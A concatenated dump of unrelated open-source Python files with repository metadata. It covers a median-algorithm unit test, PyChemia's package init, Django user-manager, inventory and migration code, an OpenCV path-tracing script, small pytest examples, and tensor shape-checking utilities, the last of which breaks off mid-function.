jfklorenz/RMedian-Algorithm

8c490e003459e94b73fa2a4f51019d880dbb80b2

[ "MIT" ]

null

tests/phase1_test.py

jfklorenz/RMedian-Algorithm

8c490e003459e94b73fa2a4f51019d880dbb80b2

[ "MIT" ]

null

#!/usr/bin/python3 # ================================================== """ File: RMedian - Unittest - Phase 1 Author: Julian Lorenz """ # ================================================== # Import import math import random import pytest # ================================================== # Phase 1 def phase1(X, k, d): # Initiation n = len(X) random.shuffle(X) S = X[:k] XS = X[k:] S.sort() # Keeping the list entries below k/2 if 2*(k*math.log2(n))**0.5 < k/2: lst = [2*(k*math.log2(n))**0.5] if 3*(k*math.log2(n))**0.5 < k/2: lst.append(3*(k*math.log2(n))**0.5) while d*lst[len(lst) - 1] < k/2: lst.append(d*lst[len(lst) - 1]) lst.append(k/2) else: lst = [k/2] # Buckets L = [[] for _ in range(len(lst) - 1)] R = [[] for _ in range(len(lst) - 1)] C = [] for s in S[math.floor(k / 2 - lst[0]): math.ceil(k / 2 + lst[0])]: C.append(s) for i in range(1, len(lst)): for s in S[math.floor(k / 2 - lst[i]): math.floor(k / 2 - lst[i - 1])]: L[i - 1].append(s) for s in S[math.ceil(k / 2 + lst[i - 1]): math.ceil(k / 2 + lst[i])]: R[i - 1].append(s) return S, XS, L, C, R # ================================================== # Unittest : Parameter @pytest.mark.parametrize(('n'), [ # Randomized input random.randint(2**9, 2**15), # Manuel input 2**10, 2**12, 2**14, 2**12 + 1, 2**12 - 1 ]) # ================================================== # Unittest : Test def test_p1(n): # Generating Tastcase X0 = [i for i in range(n)] k0 = int(n ** (2 / 3)) d0 = int(n ** (1 / 12)) S0, XS0, L0, C0, R0 = phase1(X0, k0, d0) X1 = [i for i in range(n)] k1 = int(n / math.log(n, 2)**(1/3)) d1 = int(math.log(n, 2)**(1/3)) S1, XS1, L1, C1, R1 = phase1(X1, k1, d1) sumL0, sumR0, sumL1, sumR1 = 0, 0, 0, 0 for l0 in L0: sumL0 += len(l0) for l1 in L1: sumL1 += len(l1) for r0 in R0: sumR0 += len(r0) for r1 in R1: sumR1 += len(r1) # Test assert sumL0 == sumR0 # ||L|| = ||R|| assert sumL1 == sumR1 # ||L|| = ||R|| assert len(L0) == len(R0) # |L| = |R| assert len(L1) == len(R1) # |L| = |R| assert sumL0 + len(C0) + sumR0 == k0 # |L| + |C| + |R| = k assert sumL1 + len(C1) + sumR1 == k1 # |L| + |C| + |R| = k return # ==================================================

26.795918

79

0.392232

376

2,626

2.731383

0.244681

0.023369

0.043817

0.038948

0.266796

0.223953

0.101266

0.074002

0

0.078947

0.319878

2,626

97

80

27.072165

0.496081

0.247906

0

0.000514

0

0.103448

1

0.034483

false

0

0.051724

0

0.12069

0

null

0

1

0

null

0

1

820cd6881da500183d8e03a45a3245bddb2db4af

4,363

py

Python

pychemia/__init__.py

quanshengwu/PyChemia

98e9f7a1118b694dbda3ee75411ff8f8d7b9688b

[ "MIT" ]

1

2021-03-26T12:34:45.000Z

pychemia/__init__.py

quanshengwu/PyChemia

98e9f7a1118b694dbda3ee75411ff8f8d7b9688b

[ "MIT" ]

null

pychemia/__init__.py

quanshengwu/PyChemia

98e9f7a1118b694dbda3ee75411ff8f8d7b9688b

[ "MIT" ]

null

""" PyChemia is a python library for automatize atomistic-level calculations. The library provide an API to manipulate structures, store structures and properties in a Mongo database, search for new structures of a given composition, interact with several atomistic simulation codes and visualize atomistic-related data """ from __future__ import print_function __author__ = "Guillermo Avendano-Franco" __copyright__ = "Copyright 2016" __version__ = "0.1.2" __email__ = "gtux.gaf@gmail.com" __status__ = "Development" __date__ = "May 13, 2016" try: import scipy HAS_SCIPY = True except ImportError: # print("Library 'scipy' could not be found, several places of the code will be disabled") HAS_SCIPY = False try: try: import spglib as spg except ImportError: from pyspglib import spglib as spg HAS_SPGLIB = True except ImportError: HAS_SPGLIB = False import sys try: import matplotlib HAS_MATPLOTLIB = True if 'matplotlib' not in sys.modules: matplotlib.use('agg') except ImportError: # print("Library 'matplotlib' could not be found, disabling visual functionality") HAS_MATPLOTLIB = False try: import pyhull HAS_PYHULL = True except ImportError: #print("Library 'pyhull' could not be found") HAS_PYHULL = False try: import networkx HAS_NETWORKX = True except ImportError: #print("Library 'networkx' could not be found, disabling pychemia.dm.NetworkAnalysis") HAS_NETWORKX = False try: import Scientific HAS_SCIENTIFIC = True except ImportError: #print("Library 'Scientific' could not be found") HAS_SCIENTIFIC = False try: import pymongo if pymongo.version_tuple[0] < 3: #print("Library 'pymongo' its too old, disabling pychemia.db.PyChemiaDB") HAS_PYMONGO = False else: HAS_PYMONGO = True except ImportError: pymongo = None #print("Library 'pymongo' could not be found, disabling pychemia.db.PyChemiaDB") HAS_PYMONGO = False try: import gridfs HAS_GRIDFS = True except ImportError: gridfs = None #print("Library 'gridfs' could not be found, disabling pychemia.db.PyChemiaQueue") HAS_GRIDFS = False try: import ase HAS_ASE = True except ImportError: #print("Library 'ase' could not be found, disabling pychemia.external.ase") HAS_ASE = False try: import pymatgen HAS_PYMATGEN = True except ImportError: #print("Library 'pymatgen' could not be found, disabling pychemia.external.pymatgen") HAS_PYMATGEN = False import logging pcm_log = logging.getLogger(__name__) pcm_log.addHandler(logging.NullHandler()) from .core import Structure, Composition from . import analysis from . import db from . import crystal from . import io from . import runner from . import searcher from . import utils from . import web from . import code from . import population from .core.from_file import structure_from_file from pychemia.crystal import samples def info(): """ Show basic information about PyChemia, its location and version. Also information about other libraries used by PyChemia both mandatory and optional """ print('PyChemia\n--------\n') print('Version: ' + __version__) print('Path: ' + __path__[0]) print('Date: ' + __date__) print() import sys print('Python version=' + sys.version + '\n') try: mm = __import__('pymongo') print('%10s %10s %s' % ('pymongo', mm.version, mm.__path__[0])) except ImportError: print('pymongo Not Found') for modui in ['numpy', 'scipy', 'mayavi', 'Scientific', 'matplotlib', 'future', 'nose', 'coverage', 'spglib', 'pyhull', 'pymatgen', 'qmpy', ]: try: mm = __import__(modui) print('%10s %10s %s' % (modui, mm.__version__, mm.__path__[0])) except ImportError: print('%10s %10s Not Found' % (modui, '')) try: import ase from ase import version as ase_version print('%10s %10s %s' % ('ase', ase_version.version_base, ase.__path__[0])) except ImportError: print('%10s %10s Not Found' % ('ase', '')) class Version: @staticmethod def full_version(): return 'PyChemia Version=' + __version__ + ' from=' + __date__ def __init__(self): pass

25.51462

114

0.674307

531

4,363

5.329567

0.305085

0.084099

0.077739

0.047703

0.225442

0.134276

0.122968

0.04629

0.028975

0

0.011593

0.228971

4,363

170

115

25.664706

0.829667

0.277332

0

0.293103

0

0.122147

0

1

0.025862

false

0.008621

0.396552

0.008621

0.439655

0.112069

0

null

0

null

0

1

0

1

820cf75d4b3f5980c0f2063a6d5d3723959d1b88

958

py

Python

maasaic/apps/users/managers.py

fceruti/maasaic

4536c102301fa9575d9bcb29ec0d2332ad6780ba

[ "MIT" ]

null

maasaic/apps/users/managers.py

fceruti/maasaic

4536c102301fa9575d9bcb29ec0d2332ad6780ba

[ "MIT" ]

null

maasaic/apps/users/managers.py

fceruti/maasaic

4536c102301fa9575d9bcb29ec0d2332ad6780ba

[ "MIT" ]

null

from django.contrib.auth.models import BaseUserManager class UserManager(BaseUserManager): """ A custom user manager to deal with emails as unique identifiers for auth instead of usernames. The default that's used is "UserManager" """ def create_user(self, username, email, password, **extra_fields): """ Creates and saves a User with the given email and password. """ if email: email = self.normalize_email(email.lower()) else: email = None user = self.model(username=username, email=email, **extra_fields) user.set_password(password) user.save() return user def create_superuser(self, email, password, **extra_fields): extra_fields.setdefault('is_superuser', True) return self.create_user(email, email, password, **extra_fields) def get_by_natural_key(self, username): return self.get(username=username)

34.214286

76

0.661795

116

958

5.344828

0.5

0.08871

0.087097

0.116129

0

0.246347

958

27

77

35.481481

0.858726

0.203549

0

0.016667

0

1

0.1875

false

0.25

0.0625

0.5

0

null

0

null

0

1

0

1

82158af77ddcb6b3f44630f4f3d88bbb57c99820

793

py

Python

bin/Lib/test/test_asyncio/__init__.py

yousafsyed/casperjs

ed077ae9e42cf8fb9e023e9b6840d3cea11bac40

[ "MIT" ]

36

2015-02-04T10:43:31.000Z

2022-03-30T13:01:12.000Z

bin/Lib/test/test_asyncio/__init__.py

yousafsyed/casperjs

ed077ae9e42cf8fb9e023e9b6840d3cea11bac40

[ "MIT" ]

9

2015-03-17T05:56:16.000Z

2021-11-17T09:31:50.000Z

bin/Lib/test/test_asyncio/__init__.py

yousafsyed/casperjs

ed077ae9e42cf8fb9e023e9b6840d3cea11bac40

[ "MIT" ]

22

2015-05-13T17:37:35.000Z

2022-01-25T06:24:42.000Z

import os import sys import unittest from test.support import run_unittest, import_module # Skip tests if we don't have threading. import_module('threading') # Skip tests if we don't have concurrent.futures. import_module('concurrent.futures') def suite(): tests = unittest.TestSuite() loader = unittest.TestLoader() for fn in os.listdir(os.path.dirname(__file__)): if fn.startswith("test") and fn.endswith(".py"): mod_name = 'test.test_asyncio.' + fn[:-3] try: __import__(mod_name) except unittest.SkipTest: pass else: mod = sys.modules[mod_name] tests.addTests(loader.loadTestsFromModule(mod)) return tests def test_main(): run_unittest(suite())

26.433333

63

0.631778

97

793

4.979381

0.505155

0.074534

0.045549

0.05383

0.086957

0

0.001715

0.264817

793

29

64

27.344828

0.826758

0.108449

0

0.073864

0

1

0.090909

false

0.045455

0.318182

0

0.454545

0

null

0

null

0

1

0

1

821f9c4ee53b4e67fe7293e0648f1d824408b3f9

4,298

py

Python

trace/trace.py

slash-segmentation/DP2

6f768e4b8a75a3ab2bf1359ae94704332426a4d6

[ "Unlicense" ]

null

trace/trace.py

slash-segmentation/DP2

6f768e4b8a75a3ab2bf1359ae94704332426a4d6

[ "Unlicense" ]

null

trace/trace.py

slash-segmentation/DP2

6f768e4b8a75a3ab2bf1359ae94704332426a4d6

[ "Unlicense" ]

null

from data_viewer import * from volume3d_util import * from contour_processing import * import cv from best_path import * inputStack = "o:\\images\\neuropil\\seg" outputFolder = "o:\\trace_output" box = Box() box.cornerA = [0, 0, 200] box.cornerB = [700, 500, 210] v = loadImageStack(inputStack, box) writeStack(outputFolder, v) s = v.shape print "shape", s binaryImage = cv.CreateImage((s[0], s[1]), 8, 1) contoursImage = cv.CreateImage((s[0], s[1]), 8, 3) cv.SetZero(binaryImage) def toOpenCV(array): s = array.shape openCVImage = cv.CreateImage((s[0], s[1]), 8, 1) for i in range(0, s[0]): for j in range(0, s[1]): openCVImage[j, i] = array[i, j] return openCVImage for i in range(0, s[0]): for j in range(0, s[1]): if v[i, j, 0] < 128: binaryImage[j, i] = 1 else: binaryImage[j, i] = 0 storage = cv.CreateMemStorage(0) contours1 = cv.FindContours(binaryImage, storage, cv.CV_RETR_LIST, cv.CV_CHAIN_APPROX_SIMPLE, (0,0)) contours = contour_iterator(contours1) def rectCenter(openCVRect): rect = openCVRect rect = cv.BoundingRect(contour) #print rect x = (rect[0] + rect[2]/2.0) y = (rect[1] + rect[3]/2.0) return (x, y) #print contours1.h_next() print "draw contours" cv.DrawContours(contoursImage, contours1, (0,0,255,0), (0,255,0,0), 3, 1, cv.CV_AA, (0,0)) for contour in contours: center = rectCenter(contour) cv.Circle(contoursImage, center, 5, (0,255,255,0)) def makeGraph(volume): graph = {} step = [10, 10, 1] volumeSize = volume.shape limit = [None, None, None] for coordinate in range(0, 3): limit[coordinate] = volumeSize[coordinate]/step[coordinate] for x in range(0, limit[0]): for y in range(0, limit[1]): for z in range(0, limit[2]): volx = x * step[0] voly = y * step[1] volz = z * step[2] graph[(x,y,z)] = {} if x != limit[0]-1: graph[(x,y,z)][(x+1,y,z)] = volume[volx+step[0],voly,volz] if x != 0: graph[(x,y,z)][(x-1,y,z)] = volume[volx-step[0],voly,volz] if y != limit[1]-1: graph[(x,y,z)][(x,y+1,z)] = volume[volx,voly+step[1],volz] if y != 0: graph[(x,y,z)][(x,y-1,z)] = volume[volx,voly-step[1],volz] if z != limit[2]-1: graph[(x,y,z)][(x,y,z+1)] = volume[volx,voly,volz+step[2]] if z != 0: graph[(x,y,z)][(x,y,z-1)] = volume[volx,voly,volz-step[2]] """ for x in range(0+xStep, volumeSize[0]-xStep, xStep): for y in range(0+yStep, volumeSize[1]-yStep, yStep): for z in range(0+1, volumeSize[2]-1): graph[(x,y,z)] = {} graph[(x,y,z)][(x+xStep,y,z)] = volume[x+xStep,y,z] graph[(x,y,z)][(x-xStep,y,z)] = volume[x-xStep,y,z] graph[(x,y,z)][(x,y+yStep,z)] = volume[x,y+yStep,z] graph[(x,y,z)][(x,y-yStep,z)] = volume[x,y-yStep,z] graph[(x,y,z)][(x,y,z+1)] = volume[x,y,z+1] graph[(x,y,z)][(x,y,z-1)] = volume[x,y,z-1] """ return graph graph = makeGraph(v) path = shortestPath1(graph, (10, 10, 1), (10, 10, 8)) print path cv.ShowImage("contours", contoursImage) pointsGroupedByZ = {} for point in path: z = point[2] #print point if not(z in pointsGroupedByZ): pointsGroupedByZ[z] = [] pointsGroupedByZ[z].append(point) print pointsGroupedByZ # for each slice, show the path points for z in range(0, 10): # create image #sliceImage = cv.CreateImage((s[0], s[1]), 8, 3) sliceImage = toOpenCV(v[:,:,z]) # plot points for this slice if z in pointsGroupedByZ: for point in pointsGroupedByZ[z]: #print point cv.Circle(sliceImage, (point[0], point[1]), 6, (0,255,0,0)) # write slice to file fileName = os.path.join(outputFolder, "path%03d.png" % z) print fileName cv.SaveImage(fileName, sliceImage) cv.SaveImage(os.path.join(outputFolder, "output.png"), contoursImage) #cv.WaitKey(0) # find contour centers for all seed points # connect the centers with dijkstra

27.729032

100

0.557236

658

4,298

3.620061

0.196049

0.02267

0.025189

0.047019

0.263224

0.222922

0.218304

0.217045

0.185139

0

0.051274

0.269428

4,298

154

101

27.909091

0.707325

0.067008

0

0.043956

0

0.026292

0.007386

0

null

0

0.054945

null

0.054945

0

null

0

null

0

1

0

1

822372b75d8fbe9ac2e0ba209d3d7cc13b9ea07d

12,169

py

Python

mrp_system/models.py

mgeorge8/django_time

f75a442941b0ebbb6cc46a6d18e42b91695b7e57

[ "MIT" ]

1

2018-11-09T02:09:14.000Z

mrp_system/models.py

mgeorge8/django_time

f75a442941b0ebbb6cc46a6d18e42b91695b7e57

[ "MIT" ]

null

mrp_system/models.py

mgeorge8/django_time

f75a442941b0ebbb6cc46a6d18e42b91695b7e57

[ "MIT" ]

null

from django.db import models import datetime #from django.contrib.sites.models import Site class Vendor(models.Model): TYPE_CHOICES = ( ('manufacturer', 'manufacturer'), ('distributor', 'distributor'), ) name = models.CharField(max_length=128, unique=True) vendor_type = models.CharField(max_length=12, choices=TYPE_CHOICES, default='manufacturer') address = models.CharField(max_length=300, blank=True) phone = models.CharField(max_length=10, blank=True) web_address = models.CharField(max_length=300, blank=True) #purchase_order = models.ForeignKey('mrp_system.PurchaseOrder', on_delete=models.CASCADE, #null=True, blank=True) def __str__(self): return self.name class Location(models.Model): name = models.CharField(max_length=100, unique=True) def __str__(self): return self.name #used to track different part types class Type(models.Model): name = models.CharField(max_length=100, unique=True) prefix = models.CharField(max_length=4) def __str__(self): return self.name #names of fields for each part type tracked with field model class Field(models.Model): FIELD_CHOICES = ( ('char1', 'Character 1'), ('char2', 'Character 2'), ('char3', 'Character 3'), ('char4', 'Character 4'), ('char5', 'Character 5'), ('char6', 'Character 6'), ('char7', 'Character 7'), ('char8', 'Character 8'), ('char9', 'Character 9'), ('char10', 'Character 10'), ('char11', 'Character 11'), ('char12', 'Character 12'), ('char13', 'Character 13'), ('char14', 'Character 14'), ('char15', 'Character 15'), ('char16', 'Character 16'), ('char17', 'Character 17'), ('char18', 'Character 18'), ('char19', 'Character 19'), ('char20', 'Character 20'), ('char21', 'Character 21'), ('char22', 'Character 22'), ('char23', 'Character 23'), ('char24', 'Character 24'), ('char25', 'Character 25'), ('char26', 'Character 26'), ('char27', 'Character 27'), ('char28', 'Character 28'), ('char29', 'Character 29'), ('char30', 'Character 30'), ('char31', 'Character 31'), ('char32', 'Character 32'), ('char33', 'Character 33'), ('char34', 'Character 34'), ('char35', 'Character 35'), ) name = models.CharField(max_length=50) fields = models.CharField(max_length=50, choices=FIELD_CHOICES) typePart = models.ForeignKey(Type, on_delete=models.CASCADE, related_name="field", null=True) class Part(models.Model): #used to keep track of part type and fields partType = models.ForeignKey(Type, on_delete=models.CASCADE, related_name="part") engimusingPartNumber = models.CharField(max_length=30, editable=False) description = models.CharField(max_length=300, blank=True) location = models.ManyToManyField(Location, through='LocationRelationship') manufacturer = models.ManyToManyField(Vendor, through='ManufacturerRelationship') #all of the fields that could be tracked for a part type char1 = models.CharField(max_length=100, blank=True) char2 = models.CharField(max_length=100, blank=True) char3 = models.CharField(max_length=100, blank=True) char4 = models.CharField(max_length=100, blank=True) char5 = models.CharField(max_length=100, blank=True) char6 = models.CharField(max_length=100, blank=True) char7 = models.CharField(max_length=100, blank=True) char8 = models.CharField(max_length=100, blank=True) char9 = models.CharField(max_length=100, blank=True) char10 = models.CharField(max_length=100, blank=True) char11 = models.CharField(max_length=100, blank=True) char12 = models.CharField(max_length=100, blank=True) char13 = models.CharField(max_length=100, blank=True) char14 = models.CharField(max_length=100, blank=True) char15 = models.CharField(max_length=100, blank=True) char16 = models.CharField(max_length=100, blank=True) char17 = models.CharField(max_length=100, blank=True) char18 = models.CharField(max_length=100, blank=True) char19 = models.CharField(max_length=100, blank=True) char20 = models.CharField(max_length=100, blank=True) char21 = models.CharField(max_length=100, blank=True) char22 = models.CharField(max_length=100, blank=True) char23 = models.CharField(max_length=100, blank=True) char24 = models.CharField(max_length=100, blank=True) char25 = models.CharField(max_length=100, blank=True) char26 = models.CharField(max_length=100, blank=True) char27 = models.CharField(max_length=100, blank=True) char28 = models.CharField(max_length=100, blank=True) char29 = models.CharField(max_length=100, blank=True) char30 = models.CharField(max_length=100, blank=True) char31 = models.CharField(max_length=100, blank=True) char32 = models.CharField(max_length=100, blank=True) char33 = models.CharField(max_length=100, blank=True) char34 = models.CharField(max_length=100, blank=True) char35 = models.CharField(max_length=100, blank=True) datasheet = models.FileField(upload_to='documents/', blank=True) def __str__(self): return '%s - %s' % (self.engimusingPartNumber, self.description) #can call these 4 functions from template to get related fields def get_location(self): if self.location: return [LocationRelationship.location.name for LocationRelationship in self.locationrelationship_set.order_by('id')] def get_stock(self): if self.location: return [LocationRelationship for LocationRelationship in self.locationrelationship_set.order_by('id')] def get_manufacturers(self): if self.manufacturer: return [manufacturer.name for manufacturer in self.manufacturer.all()] def get_related(self): if self.manufacturer: return [str(ManufacturerRelationship.partNumber) for ManufacturerRelationship in self.manufacturerrelationship_set.all()] #.objects.get(part=self)]) #auto assign engimusingPartNumber with prefix and auto incremented number def save(self, *args, **kwargs): if not self.id: partType = self.partType self.engimusingPartNumber = increment_engi_partnumber(partType) super().save(*args, **kwargs) def increment_engi_partnumber(partType): #get greatest part number last_id = Part.objects.filter(partType=partType).order_by('engimusingPartNumber').last() prefix = partType.prefix #if no parts yet if not last_id: return prefix + '000001' length = len(prefix) partNumber = int(last_id.engimusingPartNumber[length:10]) new_partNumber = partNumber + 1 new_engi_partNumber = prefix + str(new_partNumber).zfill(6) return new_engi_partNumber class ManufacturerRelationship(models.Model): part = models.ForeignKey(Part, on_delete=models.CASCADE) manufacturer = models.ForeignKey(Vendor, on_delete=models.CASCADE, limit_choices_to={'vendor_type': 'manufacturer'},) partNumber = models.CharField(max_length=40, blank=True) class LocationRelationship(models.Model): part = models.ForeignKey(Part, on_delete=models.CASCADE) location = models.ForeignKey(Location, on_delete=models.CASCADE) stock = models.IntegerField(blank=True, null=True) class Product(models.Model): engimusing_product_number = models.CharField(max_length=50, blank=True) description = models.CharField(max_length=100, blank=True) url = models.CharField(max_length=500, blank=True) location = models.ManyToManyField(Location, through='ProductLocation') part = models.ManyToManyField(Part, through='PartAmount') #sub products, must not be symmetrical for relationship to be onesided component_product = models.ManyToManyField('self', symmetrical=False, through='ProductAmount', through_fields=('from_product', 'to_product'),) def __str__(self): return str(self.description) def get_stock(self): if self.location: return [ProductLocation for ProductLocation in self.productlocation_set.order_by('id')] class PartAmount(models.Model): part = models.ForeignKey(Part, on_delete=models.CASCADE) product = models.ForeignKey(Product, on_delete=models.CASCADE) amount = models.IntegerField(blank=True, null=True, default=1) class ProductAmount(models.Model): from_product = models.ForeignKey(Product, related_name='from_product', on_delete=models.CASCADE) to_product = models.ForeignKey(Product, related_name='to_product', on_delete=models.CASCADE) amount = models.IntegerField(blank=True, null=True, default=1) class ProductLocation(models.Model): product = models.ForeignKey(Product, on_delete=models.CASCADE) location = models.ForeignKey(Location, on_delete=models.CASCADE) stock = models.IntegerField(blank=True, null=True) class ManufacturingOrder(models.Model): product = models.ManyToManyField(Product, through='MOProduct') number = models.CharField(max_length=50) date_created = models.DateTimeField(auto_now_add=True) def __str__(self): return self.number class MOProduct(models.Model): manufacturing_order = models.ForeignKey(ManufacturingOrder, on_delete=models.CASCADE) product = models.ForeignKey(Product, on_delete=models.CASCADE) amount = models.IntegerField(blank=True, null=True) class PurchaseOrder(models.Model): number = models.CharField(max_length=20, editable=False) vendor = models.ForeignKey(Vendor, on_delete=models.CASCADE, null=True) part = models.ManyToManyField(Part, through='PurchaseOrderParts') def __str__(self): return self.number def save(self, *args, **kwargs): if not self.id: last_id = PurchaseOrder.objects.order_by('number').last() today = str(datetime.datetime.now().date()) new_number = "PO" + today if last_id: str_number = str(last_id.number) last_date = str_number[2:12] if last_date == today: nn = int(str_number[13:16]) + 1 else: nn = 1 else: nn = 1 new_number += "_" + str(nn).zfill(2) self.number = new_number super().save(*args, **kwargs) class PurchaseOrderParts(models.Model): part = models.ForeignKey(Part, on_delete=models.CASCADE) purchase_order = models.ForeignKey(PurchaseOrder, on_delete=models.CASCADE) unit_price = models.DecimalField(max_digits=6, decimal_places=2, blank=True, null=True) quantity = models.IntegerField(blank=True, null=True) total = models.DecimalField(max_digits=6, decimal_places=2, editable=False, blank=True, null=True) item_number = models.IntegerField(editable=False, default=0) def save(self, *args, **kwargs): if not self.id: last_id = PurchaseOrderParts.objects.filter(purchase_order=self.purchase_order).order_by('item_number').last() if not last_id: self.item_number = 1 else: self.item_number = last_id.item_number + 1 if self.unit_price and self.quantity: self.total = self.unit_price * self.quantity else: self.total = 0 super().save(*args, **kwargs) """used to keep track of tokens, only one instance of this model named "DigiKey", don't create another instance of this as it can mess up the tokens""" class DigiKeyAPI(models.Model): name = models.CharField(max_length=100) refresh_token = models.CharField(max_length=150) access_token = models.CharField(max_length=150)

43

122

0.667598

1,423

12,169

5.574139

0.178496

0.1059

0.12708

0.16944

0.492184

0.445159

0.388427

0.190242

0.151664

0.138553

0

0.038994

0.216041

12,169

282

123

43.152482

0.792453

0.05021

0

0.219828

0

0.081446

0.002106

0

1

0.068966

false

0

0.008621

0.030172

0.607759

0

null

0

1

0

null

0

1

8223f8a99d965f457dd7e252a84202f7ab0d8cc4

813

py

Python

testing/tests/test_dummy.py

MaurizioBella/BotyPy

5d6b7c4343ef42ff6a7493f2aaf565f64dad5c41

[ "MIT" ]

null

testing/tests/test_dummy.py

MaurizioBella/BotyPy

5d6b7c4343ef42ff6a7493f2aaf565f64dad5c41

[ "MIT" ]

null

testing/tests/test_dummy.py

MaurizioBella/BotyPy

5d6b7c4343ef42ff6a7493f2aaf565f64dad5c41

[ "MIT" ]

null

# -*- coding: utf-8 -*- # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import pytest def sum(num1, num2): """It returns sum of two numbers""" return num1 + num2 # make sure to start function name with test @pytest.mark.parametrize('num1, num2, expected', [(3, 5, 8), (-2, -2, -4), (-1, 5, 4), (3, -5, -2), (0, 5, 5)]) def test_sum(num1, num2, expected): assert sum(num1, num2) == expected @pytest.fixture def get_sum_test_data(): return [(3, 5, 8), (-2, -2, -4), (-1, 5, 4), (3, -5, -2), (0, 5, 5)] def test_sum_v2(get_sum_test_data): for data in get_sum_test_data: num1 = data[0] num2 = data[1] expected = data[2] assert sum(num1, num2) == expected

26.225806

87

0.586716

132

813

3.522727

0.401515

0.103226

0.094624

0.122581

0.215054

0.107527

0

0.080592

0.252153

813

30

88

27.1

0.684211

0.264453

0

0.125

0

0.033956

0

0.125

1

0.25

false

0

0.0625

0.4375

0

null

0

null

0

1

0

1

822902858ffd7f29df3c979fb531114936d3a5ed

873

py

Python

variants/migrations/0047_auto_20190701_1625.py

brand-fabian/varfish-server

6a084d891d676ff29355e72a29d4f7b207220283

[ "MIT" ]

14

2019-09-30T12:44:17.000Z

2022-02-04T14:45:16.000Z

variants/migrations/0047_auto_20190701_1625.py

brand-fabian/varfish-server

6a084d891d676ff29355e72a29d4f7b207220283

[ "MIT" ]

244

2021-03-26T15:13:15.000Z

2022-03-31T15:48:04.000Z

variants/migrations/0047_auto_20190701_1625.py

brand-fabian/varfish-server

6a084d891d676ff29355e72a29d4f7b207220283

[ "MIT" ]

8

2020-05-19T21:55:13.000Z

2022-03-31T07:02:58.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.11.21 on 2019-07-01 16:25 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [("variants", "0046_partition_smallvariants_table")] operations = [ migrations.RemoveField(model_name="casevariantstats", name="case"), migrations.AddField( model_name="casevariantstats", name="variant_set", field=models.OneToOneField( default=-1, help_text="The variant statistics object for this variant set", on_delete=django.db.models.deletion.CASCADE, related_name="variant_stats", to="variants.SmallVariantSet", ), preserve_default=False, ), ]

31.178571

79

0.627721

89

873

5.977528

0.662921

0.045113

0.052632

0.082707

0

0.036107

0.270332

873

27

80

32.333333

0.799058

0.079038

0

0.1

1

0

0.219725

0.072409

0

1

0

false

0

0.15

0

0.3

0

null

0

1

0

null

0

1

822e782f16bc428e61261ae8e8000a61fb92b939

1,972

py

Python

utils.py

floschne/TERAN

60a3644530ac3f28c89265a46d14e0c5fcf0da3d

[ "Apache-2.0" ]

null

utils.py

floschne/TERAN

60a3644530ac3f28c89265a46d14e0c5fcf0da3d

[ "Apache-2.0" ]

null

utils.py

floschne/TERAN

60a3644530ac3f28c89265a46d14e0c5fcf0da3d

[ "Apache-2.0" ]

1

2020-12-20T20:15:29.000Z

from collections import OrderedDict import numpy from models.teran import TERAN def get_model(config): model = TERAN(config) return model def dot_sim(x, y): return numpy.dot(x, y.T) def cosine_sim(x, y): x = x / numpy.expand_dims(numpy.linalg.norm(x, axis=1), 1) y = y / numpy.expand_dims(numpy.linalg.norm(y, axis=1), 1) return numpy.dot(x, y.T) class AverageMeter(object): """Computes and stores the average and current value""" def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=0): self.val = val self.sum += val * n self.count += n self.avg = self.sum / (.0001 + self.count) def __str__(self): """String representation for logging """ # for values that should be recorded exactly e.g. iteration number if self.count == 0: return str(self.val) # for stats return '%.4f (%.4f)' % (self.val, self.avg) class LogCollector(object): """A collection of logging objects that can change from train to val""" def __init__(self): # to keep the order of logged variables deterministic self.meters = OrderedDict() def update(self, k, v, n=0): # create a new meter if previously not recorded if k not in self.meters: self.meters[k] = AverageMeter() self.meters[k].update(v, n) def __str__(self): """Concatenate the meters in one log line """ s = '' for i, (k, v) in enumerate(self.meters.items()): if i > 0: s += ' ' s += k + ' ' + str(v) return s def tb_log(self, tb_logger, prefix='', step=None): """Log using tensorboard """ for k, v in self.meters.items(): tb_logger.add_scalar(prefix + k, v.val, global_step=step)

24.962025

75

0.564909

275

1,972

3.956364

0.378182

0.055147

0.009191

0.027574

0.086397

0

0.013294

0.313387

1,972

78

76

25.282051

0.790251

0.208418

0

0.130435

0

0.009138

0

1

0.23913

false

0

0.065217

0.021739

0.478261

0

null

0

null

0

1

0

1

822fb9cc31bd7348cd34bf3de00f4ec07e26322e

3,329

py

Python

mantrap/utility/shaping.py

simon-schaefer/mantrap

9a2b3f32a0005cc0cb79bb78924f09da5a94587d

[ "MIT" ]

7

2020-05-11T18:13:27.000Z

2022-03-09T02:52:48.000Z

mantrap/utility/shaping.py

StanfordASL/mantrap

9a2b3f32a0005cc0cb79bb78924f09da5a94587d

[ "MIT" ]

null

mantrap/utility/shaping.py

StanfordASL/mantrap

9a2b3f32a0005cc0cb79bb78924f09da5a94587d

[ "MIT" ]

3

2020-12-09T00:03:26.000Z

2022-03-03T10:39:03.000Z

import torch def check_ego_state(x: torch.Tensor, enforce_temporal: bool = False) -> bool: assert not torch.any(torch.isnan(x)) if enforce_temporal: assert x.size() == torch.Size([5]) else: assert x.numel() in [4, 5] return True def check_ego_action(x: torch.Tensor) -> bool: assert not torch.any(torch.isnan(x)) assert x.size() == torch.Size([2]) return True def check_ego_path(x: torch.Tensor, t_horizon: int = None) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 2 # (t_horizon, 2) assert x.shape[1] == 2 if t_horizon is not None: assert x.shape[0] == t_horizon return True def check_ego_controls(x: torch.Tensor, t_horizon: int = None) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 2 # (t_horizon, dims) assert x.shape[-1] == 2 if t_horizon is not None: assert x.shape[0] == t_horizon return True def check_ego_trajectory( x: torch.Tensor, t_horizon: int = None, pos_only: bool = False, pos_and_vel_only: bool = False ) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 2 # (t_horizon, 5) if pos_only: assert x.shape[1] >= 2 # (x, y, vx, vy) elif pos_and_vel_only: assert x.shape[1] >= 4 # (x, y, vx, vy) else: assert x.shape[1] == 5 # (x, y, vx, vy, t) if t_horizon is not None: assert x.shape[0] == t_horizon return True def check_ado_states(x: torch.Tensor, num_ados: int = None, enforce_temporal: bool = False) -> bool: assert not torch.any(torch.isnan(x)) assert len(x.shape) == 2 # (num_ados, 4/5) if num_ados is not None: assert 